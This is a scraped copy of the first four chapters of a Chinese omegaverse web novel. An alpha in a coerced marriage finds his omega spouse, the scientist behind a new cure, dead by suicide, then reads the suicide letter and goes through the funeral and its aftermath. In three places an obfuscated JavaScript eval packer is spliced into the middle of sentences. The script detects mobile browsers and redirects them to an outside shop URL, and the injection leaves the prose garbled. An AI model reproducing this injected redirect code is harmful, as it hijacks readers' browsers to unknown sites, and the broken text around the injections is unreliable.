《把老婆还我》 1. 0218 云城今年的大雪来得格外早。 周四晚上八点,原骁终于下班。 怪着疲惫的心情,他慢慢走出那座高耸的的地标建筑,边走边出神,连门口笑眯眯打招呼的安保人员都没注意到。 直到刺骨的冷风迎面灌进他的大衣,脸疼得像磨砂刮过,思绪才被骤然拽回,他抬头看向天空,才发现外面下雪了。 太阳刚刚落下,天际只剩一点点金红,很快就暗淡下去,繁华的都市披上了霓虹,雪花在夜色和暖光中飞舞,干枯的草坪上堆了一层薄薄的细雪。 联盟中心外不知什么时候摆了一堆装饰物,两棵漂亮的圣诞树中间有个巨大的,气球做的驯鹿和圣诞老人,正随着鼓风机的风力摇晃招手,路灯音响里放着轻快温暖的音乐,彩色LED灯牌写着“Merry Christmas”。 他微微一愣,终于意识到今天不同寻常的热闹是因为什么——今天是圣诞节,而云市的初雪也很巧赶在圣诞节来临。 他最近状态不是很好,或许是受到谈决的影响,又或许他只是厌倦了这种生活,他爸打电话关心过他几次,却没什么效果,除了按部就班地出任务,他大多时候都兴致缺缺,提不起精神,慢慢地连日子都记不清了。 他原地站了一会儿,没打车也没坐地铁,只是转身走上了街道,事实上为了方便谈决上下班,他们的新婚公寓离上班地点步行最多十五钟,谈决一直住在里面,而大多时候他们都分居,原骁只需要在周末的时候造访。 然而周末的见面并不意味着他可以休息或拥有愉快的假期,相反他要换个身份为他的法定配偶服务,继续“上班”。 很难想象他和谈决的婚姻已经五年,但至今却仍是服务者和被服务者的关系,他又下意识摸了摸脖颈上的alpha遥控项圈,里面镶嵌着电极和定位装置,而遥控器就在谈决手里。 在这样的时代,在alpha对被完全标记的omega几乎可以百分百掌控和伤害的时代,他,联盟主席的亲子,以专业第一的成绩考入U大的S级alpha,会被套上电击项圈送给一个比他大三岁的omega。 这个项圈是他的耻辱,也是所有痛苦的根源。 正如所有人都知道这场婚姻从一开始就形同虚设,名存实亡。 转过街角就到了一条著名的商业街,礼品店外都已经摆放了圣诞装饰,甜品店散发出烘焙面包刚出炉的甜香。 他在甜品店外在停住脚步,犹豫了片刻,还是推开门进店:“你好,我要四个蛋挞和一份提拉米苏。” “好的您稍等。” 穿着围裙的店员动作娴熟地装好蛋挞,却忽然发现了什么:“不好意思先生,我们这边的提拉米苏已经卖光了,只剩两份千层,您看这边有需要吗?” 原骁:“什么口味?” 店员:“抹茶和榴莲。” 原骁:“……那就抹茶吧。” 谈决不会吃榴莲,也不吃榴莲口味的东西。 原骁有这家甜品店的会员,在等待包装的过程中,热心的店员和他闲聊:“您已经好几个星期没来店里了,我的同事们都在怀念您。” 一个外貌拔尖,事业有成,又常常独自来店里买甜品的alpha,很容易让人记住。 原骁有些心不在焉:“嗯,我爱人最近身体不太好。” 店员顿时露出意外的神情:“您已经结婚了吗?” 原骁笑了笑:“不像吗?” 店员赶紧摇头:“不是不是,只是您看起来还很年轻……” 原骁接过纸袋,刷了会员卡,没觉得冒犯,只是陈述事实:“我十九岁就结婚了。” 他提着纸袋离开面包房,街上的行人更多了,大家换上了暖和的冬装,脸上洋溢着幸福的笑容,情侣们手牵手,朋友们在圣诞装饰旁拍照打卡,广场四面八方都是闪烁的大屏。 他站在人群中,偶尔引来行人的侧目,左手不知不觉地摩挲起口袋里的手机,却在纠结着什么,迟迟下不了决心。 很快广场上的人越来越多,越来越热闹,警察不得不出勤维护秩序,闹声中,戚求影忽然我听到了广播声。 “据联盟最新消息,由联盟医学部和人类生命进化研究所共同研发的抗腺体萎缩特效药赛雷西汀免疫腺体蛋白——简称ST0218药剂已通过临床四期试验,确认对感染性的腺体萎缩症有99%的终身治愈效果,联盟医学部将开放大批量生产权限,并于明年一号正式投入临床治疗。” “所有联盟公民都可以凭居民身份证到当地正规医院免费注射特效药。” 不知道什么时候开始,广场中央的广告大屏已经换成了新闻通告,主持人字正腔圆地报道着,却难掩激动,满脸都是笑意,广场上的人们一开始还没反应过来发生了什么,但紧接着就有人尖叫起来。 “特效药!真的有特效药!!!” “啊啊啊啊啊啊啊——终于不用每天都担惊受怕,不用害怕被感染,不用害怕潜伏期!好样的!联盟真是好样的!” “虽然我不喜欢现在的联盟主席,但是这件事我一定要夸夸他们了!” 广场上热闹的人群顿时沸腾起来,谁也没想到腺体萎缩症会有被攻克的一天,更没想到这场笼罩在全球近半个世纪的阴影会在今年被照亮。 这一定是今年最令人振奋的好消息,也是半个世纪以来最好的圣诞礼物。 广场上的欢呼一声高过一声,声浪一层高过一层,有胆大的行人拉着警察的手跳舞拍视频,然后上传社交软件,兴奋地记录着这对全世界人民来说都值得庆祝的一刻。 “我们失败过,迷茫过,却从来没有放弃过斗争,经过了全球各界的不懈努力,历经重重磨难,我们终于在此交出了一份满意的答卷。” “在此,我们愿献出最衷心最诚挚的祝福,祝全世界人民圣诞快乐!” 伴随着主持人激昂的祝愿,气氛也终于到达了顶峰,有人点燃了烟花,噼里啪啦的炸声也带起一片片欢呼声,原骁站在人群中,却有一瞬的失神。 他敏锐地察觉到了某种不寻常,腺体萎缩症是本世纪最大难题之一,解决难题的人必然会被所有人尊敬感激,不管是在医学界还是历史上都会留下不可磨灭、精彩斐然的一笔,然而直到新闻结束,大屏又重新换回高奢广告和圣诞视频,ST0218的研发人员都没有露面。 这根本不合理。 原骁忽然有一种古怪的感觉,意料之中的庆幸夹杂着意料之外的茫然,他从不怀疑谈决可以攻克难题,但没想到会来得这么早,他更没想到在全世界都在为他的研究成功而欢呼庆祝时,谈决却像个无关紧要的旁观者,更像坠入大海的雨滴。 一切都那么沉默,无声无息。 他再也没办法待在这震天的热闹里,只是穿过商业街,绕过拐角,走到了谈决现在住的公寓。 欢呼声被街道隔绝,却还是近在咫尺,原骁站在楼下,并没有直接上去,他从大衣里掏出带着他手心温度的手机,慢慢地拨通了一个没有备注的号码。 嘟——嘟——手机响过两声,对面就接通了:“喂,原骁。” 声音清,且冷,语气不急不缓,是一种没有情绪起伏的好听,还有微不可查的疲惫。 原骁太熟悉这种声音了,因为谈决不管和谁说话,都带着这种淡淡的礼貌,这种礼貌会在无形中把和他接触的人推得很远,拒人千里。 他没有说自己已经在婚公寓的楼下,也没有说自己买了对方最喜欢的甜品,只是回以同样的礼貌,并询问对方的意见:“今天是圣诞节,谈决。” 电话那头静默了一瞬,似乎不知道怎么回答,于是轻轻地“嗯”了一声。 原骁忽然有一瞬的失语,他很想说些什么,把一切说清楚说明白,可情绪和话语像大山一样压着他,只要一开口,这座大山就会崩塌,最后把两个人一起压垮,他想说,却不知道该说什么。 从始至终,他们都吞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185176|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咽了太多难以说出口的话,而现在这些话已经变成了生锈的钝刀,每吐出一句都会鲜血淋漓。 他只能换了个话题:“你的眼睛好点了吗?” 这两年来,谈决的身体越来越差,他食欲不振,体重减轻,甚至连视力都受到影响,患上了夜盲症。 谈决:“已经好多了,我现在在卧室,可以看到风扉广场上的烟花。” 卧室窗户正对着广场,看不见楼下的原骁,他下意识松了口气,又问:“……还要我给你念笔记吗?” 得了夜盲症之后,谈决的研究也受到了阻碍,他在夜里视物不清,就没办法继续研究,但他最近得到了一本珍贵的手写研究笔记,每天晚上都要翻阅整理,就拜托了原骁一页一页,一字一句地念给他听。 这是他们这些日子以来最多的交集,也是两人婚后最平和的一段时光,平和到原骁几乎都产生了一种他们曾经没有过那些难以修补的,甚至称得上屈辱的嫌隙。 然而谈决却拒绝了:“谢谢,不过这次不用了。” “我的研究已经告一段落,联盟给我批了半年的假期休养,手上所有项目也都会由同事们接手。” 他说着,又忽然想起什么,轻轻笑了一下,几乎给人一种温柔的错觉:“……而且那本笔记不是已经读完了吗?” 谈决一愣。 是啊,他忘了,那本笔记已经读完了。 就在上个周末,218页的手写笔记,他一页一页给谈决念完了。 但习惯是一种很可怕的东西,他下意识觉得这次分工合作并没有结束,所以才会脱口而出,又被突然点醒。 他沉默了片刻,又问:“那你需要安抚吗?” 毕竟这是他们当初结婚的唯一目的,信息素失衡的omega需要一个高匹配度的alpha提供安抚,而他爹为了保住谈决,亲自用密钥打开了联盟信息库,从所有未婚的高等alpha里精准匹配到了自己的亲儿子。 即便三天前原骁的未婚夫才因为抢救无效死亡,他也没有半点犹豫就给儿子戴上了狗链一样的电击定位器,亲自把他送给了谈决。 想到这里,原骁平静的心态又不受控地翻涌起来,五年过去了,他似乎已经忘记那些事,却还是在回忆不经意来临时被毫无防备地刺痛,他提着纸袋站在大雪中,连手机屏幕都沾了几滴雪水,却再也没有说话。 此时此刻,他好像也成了一个僵硬的雪人。 电话那头的omega从这段沉默中感知到了什么,即便两个人什么都没说,气氛却在无形中变了,过了很久很久,久到原骁都感知不到时间,omega终于开口了。 “不用了,”谈决拒绝了他,又带着一种前所未有的郑重:“谢谢你,原骁。” “你真的是个很好的人。” 这句没头没脑的道谢顿时将原骁的思绪拽了回来,那些涩然的过往像被一阵风吹走,最终只剩茫然。 谈决为什么要这么突然地感谢自己? 就像在告别,又像在划清界限,原骁说不清,却觉得心口有什么地方堵着,闷闷地发痛。 “砰——”又一轮新的烟花,更漂亮,也盛大,原骁转了个方向,俊美的面容在烟火下明明暗暗,却带着难以察觉的疲态。 谈决不需要他的安抚,他当然也不用再上楼。 想到这里,他忽然意识到电话会把烟花的声音传给谈决,对方很快就会发现自己的位置,他强行收回理智,回道:“不用谢。” “恭喜你,研究取得了成功。” 谈决:“……谢谢。” 原骁:“还有……圣诞快乐。” 他转身,挪动僵硬的双腿离开公寓,身形慢慢浸入高楼下的阴影,电话那头的omega却愣了一下,他仿佛是看见了重要的东西离自己越来越远,连带着他所有精力也跟着被抽走。 他开口,声音里明明带着笑意,却像是解脱一般。 “圣诞快乐,原骁。” 2. 遗书 电话挂断,原骁的世界仿佛也被隔断了几秒,他走在热闹的街道,却从未觉得如此疲惫无力。 他和谈决的开头已经注定了这个故事不会有善果,但是他最近总想起对方日渐沉寂的双眼,想起对方越来越单薄的身形,谈决总是一夜一夜失眠,连觉都睡不安稳,只有在被标记后才能借着疲惫短暂熟睡。 他明明该恨对方,恨这个突然出现打断自己生活轨迹的人,可现在看着谈决的生命力一点点流失,他却只觉得对方可怜。 晚上十点,他终于回到了住处。 婚后他就从家里搬了出来,也没和谈决同居,只在市区租了套不起眼的公寓独居,家里没有保姆也没有宠物。 他几乎已经隔断了所有朋友和家人的联系,就像每一个普通的,平庸的成年人一样生活,仿佛这样就能说服自己接纳现状。 他打开外卖软件想吃点东西,却发现节假日交通拥堵,平台已经停止配送服务,他也懒得再下楼吃东西,这时他看见桌上的蛋挞和千层。 或许是因为过度用脑消耗糖分,谈决很喜欢吃甜点,但是接下来几天谈决都不需要见他,怎么解决甜品就成了难题。 他在沙发上坐了很久,终于打开了包装,拿起一个已经冷透的蛋挞,慢慢送进嘴里,这家甜品口感很不错,不过太甜了,原骁吃了两个就受不了,但他却没停,只是一口一口将所有东西都吃了个干净,然后把包装袋塞进垃圾桶,伪装成这些甜品本来就是买给自己吃的假象。 洗完澡,他靠在床上看手机,他爸和几个朋友给他发了圣诞快乐,同事们都在群里发红包,一边讨论特效药的事,所有社交软件都挂着特效药的热搜,那种喜悦和热闹的氛围无孔不入。 原骁想起谈决今晚疲惫的,近乎解脱和告别般的语气,所有人都沉浸在盛大的喜悦之中,而这场喜悦的缔造者却已经羸弱不堪,几近枯萎。 他再也没办法点进那些热搜词条,只是默然地关掉手机,把自己沉入梦境。 他的睡眠也不太好,但总比谈决要好上很多,但是今晚不知道为什么,他一闭上眼,就想起风扉广场上空的烟花,又想到谈决说的那些话,他断断续续地入眠,又断断续续醒来,非常不安稳。 凌晨三点,原骁毫无预兆地睁开眼。 明明已经劳累过度,他此刻却没有半点睡意。 他猛地坐起来,伸手一摸,摸到冰凉的被面,今天下雪大降温,他没开空调,所以卧室里冷冰冰的。 一种异样的,不可名状的恐慌从心底升起来,他打开手机聊天软件,没人在他睡着后发消息,没有意外,烟花和欢呼声已经停了,一切风平浪静。 可越平静,他就越心慌,他忽然掀开被子下床,以最快的速度穿好衣服出门,乘着电梯到了地下停车场。 雪天路滑,凌晨三点的街道已经看不见人影,原骁定定看着湿淋淋的路面,那种不好的预感越来越清晰,他的心在狂跳,恨不得立刻就出现在谈决楼下,连车速超过一百都没注意。 平常半小时的车程今天只花了十来分钟,他把车停在楼下,车门都没锁就进了公寓大楼,等电梯的时候,他从电梯的倒影里看见了自己疲惫通红的双眼,某一刻他几乎认不出镜子里的alpha是自己。 “叮——”电梯门开了,他一愣,瞬间回神,他找到熟悉的房号,门缝里透不出光,谈决应该已经睡了,他伸手去摸口袋里的房卡,却没注意到自己的手在微微发抖。 “咔哒”,大门解锁,声音却敲在了原骁的神经上,他站在门外深吸了一口气,才鼓起勇气,轻手轻脚地推开门。 夜晚是如此寂静,所有声音都显得那么清晰,他打开客厅灯,没看见谈决身影,微微松了口气,但很快就注意到空调没开。 谈决是最怕冷的,冬天不开空调一定会生病,他踩在客厅的地毯上,两条腿却像灌了铅似的难以动弹。 卧室,卫生间,厨房,阳台……他一间间找过,都没有发现谈决的身影,最后停在了书房门口。 这座公寓所有地方都是两个人公用的,唯独书房不是,书房是谈决的私人空间,完完整整只属于谈决一个人,即便他后期得了夜盲症,需要原骁一字一句念研究笔记,他们也是在客厅,从没进过书房。 原骁握着门把手,却迟迟不能打开,他不知道自己在怕什么,却还是害怕,在这种反复的恐慌中,他终于鬼使神差地拧开了门,迎面就看见正中央的omega。 谈决没穿实验服白大褂,他套着一件居家的白色毛衣,干净暖和,下巴尖尖的,下半身盖着毯子,此刻正垂头靠坐在沙发上,神情安详地像是睡着了,然而原骁的脸却瞬间惨白。 他出过很多次任务,见过各种各样的尸体,他们或完整或残缺,但唯一的共同点是那种肉眼可见的,全然消散的生命力。 他难以置信地走近,颤抖的手背轻轻地贴住omega清秀瘦削的脸颊,却只碰到满手冰凉。 谈决死了。 至少已经死两个小时。 他的目光落在书桌上的水杯上,杯底还沉着细微的颗粒,而这些颗粒就是他的死因。 0218特效药在圣诞节面世,它的创造者却死在了这场盛大的狂欢里。 原骁脑子里倏然一空,脱力地跪倒在地,他愣愣看着omega安详的神态,仿佛这场死亡是他蓄谋已久,期待已久的解脱。 “你连多一分一秒都不愿意等……”他哑声开口,眼眶却滚烫,隐隐作痛:“你连亲自和我告别一句都不肯。” “你总是这么理智,连死都那么理智,理智到能把人逼疯。” “我要恨你了,”他坐在地板上喃喃自语,背靠着沙发,紧紧牵着从毛毯中垂下来的那只冰凉瘦削的手,良久他才仰起头,手背捂住滚烫的眼眶,于是没有任何人知道alpha是不是在为此流泪,包括他自己:“谈决,我真的要恨你了……” 他声音颤抖,让人分不清是爱是恨,这么多年的纠缠不休,早就模糊了感情的界限,他们像两棵被强行捆绑在一起的树,经年累月都在痛苦地逃离,又纠缠,直到某天其中一棵树枯败投降,绳索终于断开,却发现两棵树早就长在了一起,生死爱恨都息息相关,再也分不开。 有那么一刻,原骁甚至觉得自己的某一部分也跟着谈决死去,心里空洞洞的,这段婚姻终于画上句号,可他察觉不到任何喜悦和解脱。 他牵着谈决的手坐了一会儿,重新积蓄力量站起来,这才注意到书桌上的用钢笔压着一张信纸。 他微微一愣,抽出信纸,一字一句地往下看。 信的开头却是一句显眼的: 【原骁,你好。】 【做出这个决定花了我很多时间,甚至花了我很多年,如果你见到写封信,说明我已经死去,但你不必因此感到愧疚不安,因为死亡是我的选择,而不是任何人造成的后果,它在我感染腺体萎缩症,在第二医院接受治疗的那刻起就已经注定。 我一直有两句话没对你说,因为找不到合适的场合,贸然说出口又会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185177|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显得自私虚伪。 第一句是对不起。五年前在第二医院,仅仅是因为我的一个决定就害死了你的未婚夫,让你们本该幸福美满的婚姻走向了终结,还强迫你和我结婚。许眠是个很聪明的学生,他礼貌上进,在意外发生的一周前甚至向我的研究所提交了实习申请,最后却因为我的自私而死。 我知道世界上有很多苦难没办法用一句轻飘飘的“对不起”就能消解,仇恨之所以演变成仇恨,就是因为很多人至死都不能原谅,所以我必须道歉,你却不必因为我的道歉而心软原谅,因为如果让时间重来一次,我依然会选择独占那台治疗舱,然后眼睁睁看着许眠死去。 第二句是谢谢你。因为即便我害死了你的未婚夫,强迫你戴上电击项圈和我结婚,强迫你标记我,你也从来没有因为我的过失而对我暴怒甚至施行暴力,相反你每个周末都会来看我,安抚我,给我带甜点,后来我因为疲劳过度和营养不良患上夜盲症,你却愿意一字一句把研究笔记读给我听。 不管你是为了联盟还是为了你父亲嘱托,从任何一个角度,你都是这个世上最温柔善良的alpha,我很抱歉给你的生命带来了苦难,同时又感激你的帮助和支持,如果没有你,0218就不可能问世,因腺体萎缩症而逝去的生命还会继续增加,日复一日,年复一年地增加。 我们的婚姻持续了五年,而直到我死亡的这一刻,你也只有24岁,我希望你的下半生能够离开由我亲手造成的阴影,如果可以,我希望你还能遇到你爱的人,或是爱你的人,你还很年轻,值得拥有更多更好的幸福。 祝你拥有更自由广阔的人生,而不必被权力和痛苦束缚。 祝你长命百岁。】 原骁一字一句看完,直到看见了右下角的熟悉的,谈决的落款,他才终于确定这封信是对方亲手所写。 对方在信里道歉,在信里道谢,在信里祝自己长命百岁幸福自由,却没在信里提一句是否满意过这段婚姻,又或者是否对这位法定伴侣有过一点点工作和程序之外的看法和感情。 为什么有人在临死前都这么理智? 五年的婚姻换来的只有他的道歉和感谢,原骁可以毫不犹豫地确定,如果当年谈决匹配到了别的alpha并和对方走近婚姻,最后得到的自然会是一张冷冰冰的,毫无波澜的信纸。 “哈……哈哈……”他捏着信纸,毫无预兆地冷笑出声,声音里全是嘲讽。 原来天才眼里真的只有救世理想,他们只需要用理智和数据抉择,他们需要的是和自己匹配度最高的alpha,而不用在意对方具体是谁。 他转头看着沙发上面容安详的omega,再一次意识到自己自始至终都只是个被命运选中的可怜工具,而谈决就是那个冷冰冰的上帝,他捏住谈决的脸,强迫对方抬起头,他恨不得低下头撕咬,把对方拆成碎片,再吞吃入腹:“除了这些,你就没有别的话和我说吗?” “姓谈的,你的心未免太狠了吧?” 他定定看着那张天生漂亮,却苍白到病态的脸,对方闭着眼,被他的愤怒衬托出另一种诡异的平静。 原骁终于如梦初醒,他陡然意识到谈决再也听不见自己说话,更不可能回应,就算自己把对方分尸剁碎,也永远得不到想要的答案。 他像是被烫了般忽然松手,眼里的光慢慢熄灭,神情也肉眼可见地衰败下去。 “……我恨你,”他喃喃开口,声音嘶哑,却恶狠狠地,像在发誓。 “我这辈子都会恨你。” 3. 葬礼 谈决的死讯像一场突如其来的风暴,迅速席卷了联盟上下。 原越庭收到消息的时候正在赶回联盟的飞机上,他连衣服都来不及换,刚下飞机就直奔谈决的住处。 一进门他就看见法医在检查玻璃杯底部药物的成分,谈决的遗体已经带被走,原骁失神地站在角落的阴影中一言不发,眼下两团乌青。 原越庭满肚子怒火瞬间被浇透,只能耐下性子:“……怎么回事?” 在0218特效药问世的第二天,联盟最年轻的医学部长忽然在家中身亡,他这个在任的联盟主席必然要承担责任,他现在急匆匆赶过来,不仅是为了调查,更因为他的亲儿子也是当事人。 当年原骁脖子上的管教项圈是他亲手戴上的,和谈决的婚姻也是他亲自拍板,为了支持0218特效药的研发,他选择牺牲亲儿子的未来,现在出事既在意料之外,也在情理之中。 原骁没说话,事实上他太过疲惫,已经没有了辩解的力气,他只能眼睁睁看着工作人员封锁了现场,一波又一波同事在原本属于他们两个人的房子里进出。 他被带到了审讯室,同事们问那张遗书是不是谈决的笔记,某一瞬间他几乎想矢口否认,想说这封遗书是自己伪造的,但他最后还是点了点头:“是。” 联盟医学部长自杀前留给伴侣的遗书里居然只有一句“对不起”和一句“谢谢”,礼貌到陌生的措辞更加论证了这段婚姻从一开始就是政治布局和利益交换下的产物,有名无实且可笑。 接下几天原骁都在配合调查,一直恍恍惚惚,好在谈决为自己的死做了足够的准备和铺垫,原骁很快就被排除了作案嫌疑。 谈决提前交接好工作,写好遗书,甚至连自杀时的药物都在实验室有取用记录。直到最后的最后,医学部某位年轻的精神科医生提供了谈决近四年的详细就诊记录,证明了对方自杀的原因或许是因为重度抑郁和焦虑,一切才得以盖棺定论。 彼时原骁正在筹备葬礼,谈决在这个世界上已经没有血亲,葬礼也只能由联盟和他的法定伴侣来安排,听到这个消息的时候,原骁愣了很久,紧接着才道:“好我知道了。” 他挂断电话,仿佛在讨论某个无关紧要的人,殡仪馆的工作人员看着alpha冷冰冰的态度,目光深深地摇了摇头。 确定好火化和下葬时间,原骁就带着殡仪馆的文件回家了,他知道谈决一直在吃药,但对方对此闭口不谈,只说是安眠药,毕竟对方在实验室、在联盟、甚至周末在家都表现得很正常,他像一个思路清晰的工作狂,唯一不太好的就是夜里经常失眠,面对原骁时,他总是显得态度冷静,公事公办。 很快就到了原定的日期,葬礼那天下了小雨,虽然谈决的名字并没有曝光在公众的视野中,但联盟还是降了半旗致哀,送葬的车队浩浩汤汤,一辆接着一辆,却没人喧哗,没人鸣笛,气氛死气沉沉。 原骁坐在前往墓地的车上,手里捧着谈决的骨灰,看着窗外的景物飞速后退,细细的雨滴打在车窗玻璃上,很快就模糊了视线。 他忍不住轻抚了下怀中冰冷的盒子。 一天前他亲眼看着谈决的遗体被推进焚化炉,再亲手一点一点把对方装进这个四四方方的盒子里,明明只有几斤的重量,现在却压得alpha几乎喘不过气来。 一个天才,活着的时候年轻鲜活,死了却只能装在这个小小的盒子里。 他已经不记得自己是怎么下车,怎么把骨灰盒放进墓地的了,他只看见墓地的工作人员在填土封胶,最后才竖起早就定制好的墓碑。 他目光忽然盯住墓碑上的黑白照片,照片上的omega面容很年轻,整个人看起来薄薄的,是一种很清冷的漂亮,眼底却闪动着坚定的光。 这束光曾经是谈决曾经存世过的证明,原骁立在原地,静静听着牧师吟唱安魂曲,握着黑伞的右手指骨却微微泛白。 等到安魂结束,他接过属下递来的一束白山茶,放在了omega墓前。 谈决的信息素就是白山茶。 他在墓前站了很久,久到不远处的原越庭慢慢走过来,沉默地握住了他的肩膀。 这一刻,这位尽职尽责舍己为人的的父亲终于意识到什么,这段婚姻不光剥夺了alpha的自由,更毁掉了alpha本身。 如果一个人爱上了给他带来痛苦的人,那等待他的注定只有毁灭。 他一边想着,眼角的皱纹越来越深,像是一瞬间苍老了五岁。 “天快黑了,回家吧孩子。” . 葬礼结束后,原骁没有直接回家。 今天是周末,他又回到了新婚公寓。 家里一切如常,来取证的同事们小心翼翼,所有动过的东西都放归了原位,封条也被撕干净。这个家里所有地方都有谈决的生活痕迹,原骁只有在深夜一个人的时候才敢再度造访。 他打开书房,就看见沙发上的绒毯不知被谁叠成了豆腐块,整整齐齐放在一边,绒毯上还残留着一丝没有消散的omega信息素,那一瞬间他甚至产生了错觉,他好像看见omega穿着雪白的居家毛衣,在睡醒后认认真真把毯子叠起来放好才换衣服出门,谈决好像只是像往常一样离家上班去了,并没有自杀。 可他打开手机,上面的日期又真真切切地显示着此刻距离谈决离世已经过去了十天。 他的朋友和同事们都发消息来安慰他,原越庭打了三个未接来电,不过他现在已经没什么心情去打理人际关系,他只是原地站了好一会儿,最后上前捡起那条毛毯,离开了卧室。 嘟嘟——手机又响了起来,他低头一看,打电话的是他的发小宋锦,他接通电话:“喂。” 宋锦:“我回A市了,听我爸说你那个天才老婆自杀了……今天是葬礼?” 原骁:“嗯。” 宋锦又“咳”了一声,像是顾忌着他的心情:“你没吃饭吧?要不我开车接你去吃?” 原骁确实一整天没吃饭,现在胃都饿得隐隐抽搐,但是人在太累的时候是不想吃饭的:“我没心情。” 宋锦:“别这样嘛,我飞机刚落地你爹就打电话让我看着点你的状态,你这样让我很难做诶。” 提起原越庭,原骁又一阵烦躁:“不用了,我真没事。” 宋锦:“真没事?” 原骁:“真没事。” 宋锦那边又沉默一会儿,才鼓起勇气问出真心话:“那你老实告诉我,你对你的包办婚姻天才老婆到底是怎么想的?真的,你现在状态非常不对劲……” 正常人要是知道害死自己未婚夫还强迫自己戴上项圈结婚的人自杀,不出门买鞭炮庆祝都算好的了,怎么可能状态差到连原越庭都一直打电话让宋锦开导关照对方? 这是这么多天以来原骁第一次直面这个问题,外界对他和谈决的关系早就盖棺定论,但事实上谈决离开,同样也带走了他的某一部分,他越认清这个事实,就越显得茫然,最后在漫长的沉默中,他终于开口了:“我不知道……” “我恨他和我爸对我做过的事,可他其实没有我想象中那么恶劣,我也从来没想过他会死,我们结婚已经五年,可他不信任我,甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185178|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到死都不愿意给我留一句真心话……那种感觉你能懂吗?” 宋锦还没结婚,他当然不懂,但他能听出alpha疲惫痛苦的语气,如果他真的恨谈决,就不会为此痛苦。 所以他成为了第二个看出原骁爱谈决的人。 但是原骁自己看不出,他被回忆拽着不停深陷,又看不清将来,所以才会对现在茫然痛苦。 这种时候谁来安慰自己都没用,原骁心知肚明,所以他放下电话:“……挂了。” 他抱着那条留着omega信息素的毯子,鬼使神差地躺上床,他曾经在这张床上和谈决同眠了很多个夜晚,他躺在谈决睡觉的位置,淡淡的白山茶信息素将他包裹起来,紧绷的精神终于有了一丝丝松懈,又轻轻地翻了个身。 他一动,就感觉到有什么东西在硌人,他把手伸到枕头下摸索,最后在床单下摸到个东西,丝绒质感,像是人故意藏起的。 他把东西抽了出来,这才发现是个小红本,写着“结婚证”三个大字。 结婚证? 他的结婚证一直锁在租房的床头柜,为什么会在这里? 他一边疑惑,一边后知后觉,这应该是谈决的那本。 可谈决为什么把结婚证压在藏在枕头和床单下面? 突然地,他捏着这个小本,心跳却毫无预兆地加快,怀抱着某种诡异的第六感,他慢慢打开了结婚证,入眼就是一大张红底结婚照,两个人穿着衬衫,距离贴得很近,只是眼睛里都没有笑意。 他看着结婚照,却不由自主想起登记那天,那时候原骁十九岁,刚过法定结婚年龄就被戴上了管教项圈送给了谈决,又因为谈决间接造成了许眠的死,所以情绪很不好,照片里的两个人不像爱人,更像仇人。 然而他看着看着,却突然发现了异样,照片里alpha冷淡,轻蔑,看上去就不好接近,然而alpha头顶却被人用圆珠笔画了对小狗耳朵,那点剑拔弩张的气氛瞬间就变了。 是谈决画的吗? 他一边看着,一边难以置信,但很快他就发现了更多的异常,因为结婚证右下角的字迹有些模糊,白底也有些淡红色的痕迹,他把结婚证阖上再打开,发现丝绒封皮的有些地方已经轻微的褪色和磨损。 原骁经常出任务,大学的时候刑侦课成绩也一直名列前茅,根据磨损程度判断,这本结婚证一定是被人经常拿出来翻看,所以才连内页都染上了封面的红色。 谈决为什么要把结婚证藏在枕头下面,又为什么经常拿出来翻看? 为什么要在他的照片上加小狗耳朵? 为什么自己就躺在他的身边,和他上床,标记,对方却从来不说,反而在自己不在的时候偷偷翻看两个人的结婚证? 这个认知像一把铁锤重重砸了下来,他的大脑瞬间空白。 他想起谈决平常的冷淡礼貌,想起谈决的闭口不提,想起谈决那封似是而非的,几乎等同于和自己划清界限的遗书。 脑子里忽然有个恐怖的猜想,他拿出手机,连夜拨通了物证科的电话。 如果真的是那样……如果真的是他猜的那样…… 电话响过快十秒,对方才接通电话:“喂……原哥?” 对方显然没想到原骁会给自己打电话:“你有什么任务要交代吗?” 原骁开门见山:“谈决的东西是不是还在物证科?” 对方愣了下:“是……我们打算写完报告再一起封装。” 原骁捏着那张结婚证,深吸一口气。 “我要调用谈决的心理评估报告和治疗记录。” 4. 重生 约定好时间,第二天一早,原骁早早到了联盟旁边的咖啡厅,过了十分钟左右,物证科的小李鬼鬼祟祟地出现了。 “原哥你快点啊……私自调用死者物证不符合规定,被发现是要吃处分的。”小李从胳膊肘下面掏出个文件夹。 原骁:“谢谢。” 他接过那沓厚厚的记录,最上面是一份心理评估报告,日期是四年前,也就是他们婚后第一年,当时主任医师的诊断是谈决患上了中度焦虑和抑郁。 接评估报告后面就是治疗记录,确诊抑郁之后谈决一直在积极治疗,接下来三年他每个月都会去一次精神科疏导、开药,原骁不太懂医,但他越往后翻,药品名称就越多,剂量也越重,看得出来谈决的状态并没有变好,反而越来也差。 